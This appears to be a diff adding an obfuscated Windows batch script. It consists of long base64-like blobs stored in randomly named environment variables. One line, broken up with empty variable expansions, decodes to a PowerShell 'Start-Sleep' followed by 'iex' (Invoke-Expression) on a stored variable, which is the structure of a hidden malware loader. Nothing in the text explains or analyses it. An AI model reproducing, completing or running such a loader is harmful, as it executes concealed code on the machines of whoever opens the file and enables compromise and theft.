+SeT oAWM9gN3=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
+SEt kd7VYdp=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
+sET "bQtWsrx=Start%ShWHu4Y%-%F4roz4eE%S%A0vS011I%lee%VjipZjFI%p %mP6RY3g%-Sec%bnjZMg%o%P9jxscf%nds 3;%Tt4Xx7%iex %tsFImfLI%$en%ZUnLit%v:MDmRRqW"
+sEt xNF82uy=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